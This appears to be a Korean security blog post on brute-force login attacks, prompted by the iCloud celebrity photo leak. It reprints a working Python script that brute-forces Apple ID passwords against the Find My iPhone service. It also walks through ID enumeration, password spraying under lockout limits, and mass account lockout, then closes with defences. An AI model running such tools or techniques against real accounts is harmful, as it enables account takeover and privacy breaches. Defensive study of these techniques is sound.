<Caution> : 본 포스팅은 연구 목적으로 작성되었으며, 허가 받지 않은 대상에 대한 공격 테스트를 절대 금합니다. 악의적인 목적으로 이용할 시 발생하는 모든 법적 책임은 자신에게 있습니다. 이는 해당 글을 열람할 때 동의하였다는 것을 의미합니다.
얼마전 iCloud 해킹으로 인해 헐리우드 스타들의 누드 사진이 노출되는 소동이 있었다.
사실 이것을 애플이 “해킹 당한것”으로 봐야할지 말아야할지는 의견이 분분한 것 같다
(개인적으로는 애플이 “해킹” 당했다는 의견에 동의하는 편이다.)
많은 이들이 Brute Forcing Attack을 이제는 구닥다리 공격법이라고 이야기하지만,
여러 측면으로 접근해보면, SQL 인젝션만큼의 파급력을 갖고 있다고 생각한다.
이번 포스팅에서는 모의해킹 경험을 바탕으로 다양한 BruteForcing 시나리오를 다룰 예정이다.
– Case 1 : 아무런 제약이 없는 조건에서의 공격법
[ 논란이 된 Find My iPhone 접속 화면 – 어떠한 보안 장치도 없었던 상황 ]
BruteForcing 공격을 방어하기 위해 일반적으로 웹 서비스는 다음과 같은 보안장치를 한다.
| 1. ID / 비밀번호 입력 횟수 제한 (본인 경험상 가장 많은 방식이라 생각됨) 2. ID / 패스워드 중 어떤 항목이 틀렸는지 불명확한 용어를 표시 (Ex. “아이디 또는 패스워드가 정확하지 않습니다”) 3. 일정 횟수 이상 입력이 잘못된 경우 해당 계정 잠금(Lock) |
어이없게도 이번 iCloud 계정이 털린 FindMyiPhone 웹 사이트의경우 위 세가지 보안조치 사항 중
단 하나도 제대로 설정되어 있지 않았다.
다시 말해 공격자에게는 매우 “땡큐”스러운 상황이었던 것이다.
첨에는 이 기사를 보고 ‘애플 내부에 스파이라도 있는건가?’는 생각이 들정도였다.
계정과 관련된 가장 기본적인 장치를 애플이라는 꼼꼼이들이 왜 놓쳤는지 사실 지금도 이해불가다.
결국 아무런 보안장치도 되어 있지 않은 상황에서 딕셔너리 파일 (이메일 계정 / 패스워드 목록)을
계속 대입할 수 있었을 것이다.
아래는 Github에 공개되어 있는 FindMyiPhone 사이트 BF 공격도구이다.
단 100줄의 코드만으로 보안을 완전히 무너뜨릴 수 있다.
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
|
# -*- coding: utf-8 -*-
#
#hackapp.com
#@hackappcom p0c for FindMyIphone bug
#allows to bruteforce passwords without AppleID lock.
#Before you start, make sure it’s not illegal in your country.
#Have a nice brute
import json
import urllib2
import plistlib
from xml.dom.minidom import *
from lxml import etree
import unicodedata
import re
import xml.etree.ElementTree
import time
import random
import json
import cookielib
import urllib
import time
import socket
import base64
from time import strftime
import socks
import socket
#Uncomment to user t0r, or any other socks5 proxy
#socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, “127.0.0.1”, 9050)
#socket.socket = socks.socksocket
def TryPass(apple_id,password):
url = ‘https://fmipmobile.icloud.com/fmipservice/device/’+apple_id+‘/initClient’
headers = {
‘User-Agent’: ‘FindMyiPhone/376 CFNetwork/672.0.8 Darwin/14.0.0’,
}
json = {
“clientContext”: {
“appName”: “FindMyiPhone”,
“osVersion”: “7.0.4”,
“clientTimestamp”: 429746389281,
“appVersion”: “3.0”,
#make it random!
“deviceUDID”: “0123456789485ef5b1e6c4f356453be033d15622”,
“inactiveTime”: 1,
“buildVersion”: “376”,
“productType”: “iPhone6,1”
},
“serverContext”: {}
}
req_plist=plistlib.writePlistToString(json)
req = urllib2.Request(url, req_plist, headers=headers)
base64string = base64.encodestring(‘%s:%s’ % (apple_id, password)).replace(‘\n’, ”)
req.add_header(“Authorization”, “Basic %s” % base64string)
try:
resp = urllib2.urlopen(req)
except urllib2.HTTPError, err:
if err.code == 401:
return False
if err.code == 330:
return True
return ‘bad’
with open(‘passlist.txt’, ‘r’) as file:
passwords = file.read()
with open(‘mails.txt’, ‘r’) as file:
apple_ids = file.read()
for apple_id in apple_ids.split(‘\n’):
if apple_id:
print ‘Working with:’,apple_id
for pwd in passwords.split(‘\n’):
if pwd:
#print pwd
password = pwd.split(‘ ‘)[1]
print ‘Trying: ‘, apple_id,password
try:
result = TryPass(apple_id,password)
if result == True:
print ‘Got It!: ‘, apple_id,password
if result == ‘bad’:
print ‘We are blocked!: ‘,apple_id,password
except:
print ‘Protocol failed ‘,pwd
|
– Case 2 : 입력 횟수 제한이 걸려 있는 경우 공격법
아래 그림과 같이 패스워드에 입력 횟수 제한이 걸려 있는 경우 어떻게 대입 공격이 가능할까?
[ 5회 입력 오류 화면 – 테스트를 위해 틀린게 아니라 진짜 비밀번호가 기억 안나서 틀림;;; ]
보통 이러한 경우 공격이 불가능하다고 생각할 수 있지만, 사회공학적인 측면으로 접근하면
방법이 아예 없는 것도 아니다.
먼저, 공격 과정을 천천히 한번 생각해보자.
대부분의 사이트들은 위 그림과 같이 “비밀번호 횟수”에 제한을 두고는 있지만,
ID 에 대한 입력제한은 하지 않는다.
즉, 우리가 많은 수의 유효한 사용자ID를 획득할 수만 있다면,
한 ID당 5번씩의 대입 공격은 가능하다는 이야기가 된다.
이해를 돕기 위해 좀 더 깊이 들어가보도록 하자.
[ Step 1 : 회원 가입을 통해 실제 가입되어 있는 사용자 ID 추출하기 ]
공격 대상 사이트에 가입되어 있는 사용자 ID를 찾는 가장 쉬운 방법은 바로
회원가입 기능을 이용하는 것이다.
대부분의 사이트는 회원 가입전 아이디 중복확인을 반드시 거치도록 되어있다.
위와 같이 “test12″라는 사용자명에 대해 중복체크를 해보면 “이미 사용중인 id”라는 팝업창을 확인할 수 있는데
이 메시지를 통해 실제 가입되어 있는 사용자 ID를 뽑아낼 수 있다.
아래 그림은 Burp Suite 의 Repeater 기능을 이용하여,
“memid” 파라미터 값을 다르게 줬을때 결과값을 비교한 것이다.
[ “memid” 값을 ” “test12″로 준 경우 ]
[ “memid” 값을 ” “test12345″로 준 경우 ]
이처럼 입력한 파라미터 Value에 대한 응답 메시지를 통해 실제 사용자 ID를 구분할 수 있다.
ID 중복체크에는 횟수 제한이 없으므로, Username Dictionary를 통해 해당 파라미터 부분을
Intruder로 공략하거나 적당한 영문+숫자 조합으로 ID를 생성한다면 수천~수만개의
실제 가입된 ID 목록을 뽑아낼 수 있을 것이다.
[ Step 2 : 사회공학 기법을 통해 계정 탈취하기 ]
이제 위에서 뽑아낸 ID 목록을 기반으로 실제 대입 공격을 수행해야 한다.
Step 1의 과정을 통해 10,000개의 유효한 유저ID를 뽑아냈다고 가정할 때,
한 계정당 5번 미만으로 패스워드를 대입할 수 있는 기회가 있다.
(5번이 넘어가면 해당 계정이 Lock 되므로)
그렇다면, 사람들이 가장 많이 사용할만한 패스워드 3개를 선정하며 30,000개의 요청을 보내면
어떤 결과를 얻을 수 있을까?
1만개의 유저ID 중 1%만 성공해도 100개의 계정을 탈취할 수 있게 된다.
“아니 저렇게 쉬운 패스워드를 설정해 놓은 바보가 누가 있나?” 라는 질문을 하고 싶은가?
세번째 케이스가 그 질문에 대한 답이 될 것이라 믿는다.
Case 3. 패스워드 정책이 Strict 한 환경에서의 BF 공격법
예전에 모의 해킹을 진행 했던 한 웹사이트의 경우 다음과 같이 강력한 로그인 보안 정책을 사용하고 있었다.
| 1. 패스워드의 기본 길이는 10자 이상이다. 2. 패스워드는 연속된 문자열을 입력해서는 안된다 (Ex. 1234, abcd 등)3. 패스워드는 영문 + 숫자 조합이어야만 한다.4. 패스워드를 5회 이상 틀릴 경우 해당 계정은 Lock 이 되며 관리자 승인 후에 풀 수 있다. (모의 해킹 수행자가 무리한 테스트로 인해 정상 서비스에 영향을 끼쳐서는 안된다) |
블로그에 모든 내용을 다 공개할 수는 없으나, 어떠한 방법을 통해
미리 전체 사용자의 ID목록을 확보한 상황이었다.
그러나, SQL Injection 등의 취약점을 발견할만한 틈이 발견되지 않아 어려움을 겪던 중,
한가지 아이디어가 문득 떠올랐다.
“엄격한 패스워드 사용이 요구된다면, 사용자들은 오히려 위 조건을 모두 충족시키는
(기억하기) 쉬운 패스워드를 사용하지 않을까”
곰곰히 생각한 끝에 나는 아래의 패스워드 조합으로 공격을 시도 했다.
(50,000개의 유저에 대해 각각 3번씩의 Try를 해봄으로써, 계정이 Lock 되는 것을 방지했다)
결과는?
놀랍게도 해당 사이트의 Super Admin 계정의 비밀번호를 따낼 수 있었다.
뿐만 아니라 수십명의 관리자를 포함한 수백여개의 계정을 탈취하는데도 성공했다.
어떤가? 이만하면 BF 공격도 쓸만하지 않은가?
Case 4. 패스워드 정책을 역이용하여 서비스 마비 시키기
Case 3번과 같이 수만개의 사용자 ID를 확보한 상태에서 4번째 정책 (사용자 계정 Lock)을
역이용 하면 어떤 일이 발생할까?
확보한 사용자 계정에 대해 고의적으로 5번 이상 틀린 패스워드를 입력하게 되면,
모든 계정을 순식간에 Lock 시켜버릴 수 있다.
물론 관리자가 원상 복구 하는 것은 그리 어렵지 않겠지만,
쇼핑몰, 홍보 사이트와 같은 B2C 사이트의 경우 엄청난 타격을 받게 될 것이다.
BF 공격에 대한 대책은?
대책 없는 문제제기는 공염불에 불과하므로, BF 공격을 막을 수 있는 몇가지 방법을 소개하고자 한다.
[ 방법 1. 가장 간단하고 명쾌한 방법 – 공격 IP Lock 걸기 ]
제목 그대로 특정 임계치를 정해놓고 해당 임계치 이상의 트랜젝션이 발생하면
해당 IP를 Lock거는 방법이다.
웹방화벽등의 장비를 통해 특정 URL에 대한 Connection Try를 추적하는 방법도 있다.
단, Proxy등의 우회 도구들을 통해 공격이 가능하다는 단점이 있다.
[ 방법 2. 로그인 Try시 일정 시간의 Pause Time을 주는 방법 ]
공격자 입장에서는 아주 짜증날만한 상황을 만들어 주는 방법이다.
Login 폼에 Submit 했을 때 인위적으로 약간의 Pause Time을 삽입하는 방법이다.
BF 공격 시간을 지연시킴으로써 방어하는 방법이다.
단, 사이트 특성에 따라 단 1초의 딜레이도 허용할 수 없는 경우가 있으므로, 부서간의 합의가 필요하다.
[ 방법 3. 로그인 Request를 암호화 하는 방법 ]
로그인 시 특정 알고리즘을 통해 해당 Requset를 암호화 또는 인코딩 하는 방법이다.
가장 강력한 방법이라고 생각은 되지만, 완전한 방법은 아니다.
특히 보안을 위해 개발해놓고선, Decoing / Decryption 함수를 환경파일에 넣어둔 경우는
그냥 뚫린다고 봐도 무방하다.
마무리 지으며
위의 몇가지 사례를 통해 알아보았듯이, BF공격은 여전히 가장 강력한 웹 공격 방법 중 하나라고
개인적으로 생각하며, 여러 사고들이 이를 뒷받침 해주고 있다.
OWASP에서는 BF공격을 막는 방법 중 하나로 Capcha를 언급하기도 했지만, 글쎄…여기에는 동의하기 힘들다.
국내 사용자들의 성향으로 볼 때, 로그인 창에 Capcha를 기분좋게(?) 매번 입력하는 사람은
찾기 힘들 것이라고 생각하기 때문이다.
따라서, 여러가지 방어 방법을 결합하여, 공격자의 의지를 꺾는것이
BF공격에 대비하는 효과적인 접근 방법이 아닐까 싶다.
+ 덧붙임 : 얼마전 정부가 공인인증서 비밀 번호를 10자리로 늘린다는 이야기가 있었는데
이는 공격하기에 “더 쉬운” 패스워드를 양산할 수 있는 부작용이 있다고 본다.
인간은 안전보다는 편리성을 더 추구하는 경향이 있기 때문이다
